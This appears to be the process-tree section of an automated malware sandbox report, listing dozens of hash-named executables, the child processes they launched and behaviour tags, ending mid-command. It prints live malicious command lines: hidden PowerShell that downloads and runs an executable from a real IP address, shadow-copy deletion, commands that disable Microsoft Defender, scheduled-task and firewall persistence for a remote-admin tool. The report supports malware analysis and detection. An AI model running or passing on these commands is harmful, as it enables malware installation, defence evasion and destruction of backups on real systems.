C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YRNP3HFSPK2VGLLWSMYMG48RWN4TOWQY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 6523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 6603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 7443⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 7523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 8163⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 10203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 11963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 12363⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 14403⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 15003⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 11123⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 13563⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 8843⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 6883⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 17203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 15963⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 16923⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 18803⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"2⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"3⤵
- Checks computer location settings
- Drops startup file
- Drops desktop.ini file(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete4⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
-
-
-
C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
-
-
-
C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"C:\Users\Admin\AppData\Local\Temp\a0da672fdaf8943fc0453424197c5ae5539ed1cc86a47e955ea706a3e8365fe7.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"C:\Users\Admin\AppData\Local\Temp\a10fe565f9891cb66e24299122c236e1e641451564a930b60ae91a24e09e6d62.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6012 -s 2323⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"C:\Users\Admin\AppData\Local\Temp\aa76b4db29cf929b4b22457ccb8cd77308191f091cde2f69e578ade9708d7949.exe"2⤵
- Checks BIOS information in registry
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"C:\Users\Admin\AppData\Local\Temp\ab0acdb0c45ccafcc0ec594d30dc8153936574dde9ebe4e0b22504770361c666.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn 2YnEkmaO3TH /tr "mshta C:\Users\Admin\AppData\Local\Temp\zKQbWzVSX.hta" /sc minute /mo 25 /ru "Admin" /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn 2YnEkmaO3TH /tr "mshta C:\Users\Admin\AppData\Local\Temp\zKQbWzVSX.hta" /sc minute /mo 25 /ru "Admin" /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\zKQbWzVSX.hta3⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'LVCDEQAM1CB68ZPBGKS4I2F85TP1MBGP.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"C:\Users\Admin\AppData\Local\Temp\aead1f538ae65044f17554b188d4d1f88d7c4840bb554f3d70a2fe3ab86f6abf.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"3⤵
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\b066d97c63093902c0debe32ed5a001cc150eae3fb841d87a58408762d32466e.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe"C:\Users\Admin\AppData\Local\Temp\b975f3981291f86d4a8f023b2cd5473abf6b8f4f33bb6f6cbb19bab0fa01d2ad.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe"C:\Users\Admin\AppData\Local\Temp\c81ece0b60ed50db7d3769388f34ba051a05c95bd026e78dabb6ce08ff91bbba.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'3⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath 'C:'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"3⤵
- Adds Run key to start application
-
-
-
C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe"C:\Users\Admin\AppData\Local\Temp\c348c7e4d9028bdf84aba828bbb81ce46ae55c0246a94351edbfb9c63e41a8ee.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops desktop.ini file(s)
-
C:\Users\Admin\AppData\Roaming\Widget\Widget_6998202E610B6AC6.exe"C:\Users\Admin\AppData\Roaming\Widget\Widget_6998202E610B6AC6.exe"3⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v3.5\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\msbuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe"C:\Users\Admin\AppData\Local\Temp\c558e126c64a89887115a45276d5a8751f90c399eb32ca103f6e50901abc7abd.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender TamperProtection settings
- Checks computer location settings
- Drops startup file
- Windows security modification
- Adds Run key to start application
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 64⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 04⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 64⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 64⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 24⤵
- Command and Scripting Interpreter: PowerShell
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 HR" /sc HOURLY /rl HIGHEST5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP2663\OfficeTrackerNMP2663.exe" /tn "OfficeTrackerNMP2663 LG" /sc ONLOGON /rl HIGHEST5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe"C:\Users\Admin\AppData\Local\Temp\cf75a4bb6793649841a5c9c4a7dcd93e3bea2924333d13bb855b8996b2cb8955.exe"2⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="#/x!Nu|2NxbWN@" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" enable=yes & exit3⤵
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST & exit3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "remoteadmin" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST & exit3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "antiremove" /tr "C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\antifucked.exe" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"C:\Users\Admin\AppData\Roaming\Discord\Files\remoteadmin\remoteadmin.exe"3⤵
- Loads dropped DLL
-
-
-
C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe"C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exeC:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exeC:\Users\Admin\AppData\Local\Temp\d371d9409cca4b22d1e90df46524f7112e06bf74a90f65f236957b63fdad2c1b.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\images.exe"C:\ProgramData\images.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\ProgramData\images.exeC:\ProgramData\images.exe5⤵
- Executes dropped EXE
-
-
C:\ProgramData\images.exeC:\ProgramData\images.exe5⤵
- Executes dropped EXE
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"C:\Users\Admin\AppData\Local\Temp\def98259bba7c128a22dbb9100a3e9512911d9775ec82175f8a8a3c26b993dbf.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: SetClipboardViewer
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "IMAP Service" /xml "C:\Users\Admin\AppData\Local\Temp\tmpDE16.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "IMAP Service Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmpE82A.tmp"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe"C:\Users\Admin\AppData\Local\Temp\e0a8383a4c0beb02f1004468b777a85720343bf25e09f50d23975bb91fff4448.exe"2⤵
- Manipulates Digital Signatures
- Executes dropped EXE
- Modifies system certificate store
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"3⤵
- Modifies registry class
-
-
-
C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe"C:\Users\Admin\AppData\Local\Temp\e98182d44dc7ec4a154021757da3132769db318cf9d78f15fc06c92682f8a253.exe"2⤵
- Drops file in Drivers directory
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe"C:\Users\Admin\AppData\Local\Temp\e962736250ea5b158e2b690f6154ef8d3309c9e63aadb575583ebaded94b049e.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11472 -s 18203⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe"C:\Users\Admin\AppData\Local\Temp\eac7ea3969f4483a6f1ed27bad46dbb2f32c40be8f402e6e815d6917cd5731ac.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Run /TN "OneDrive Per-Machine Standalone Update Task2"3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C timeout 1 && del "C:\Users\Admin\AppData\Local\Temp\f74ea81bcd59a58e2784f74cd28c63744de51639ccc974507eff5619764b0f4d.exe"3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 14⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe"C:\Users\Admin\AppData\Local\Temp\f258f660f30a7f9669b025d9c2d5663f16c576a03f48e6fc169af692d43336c3.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand 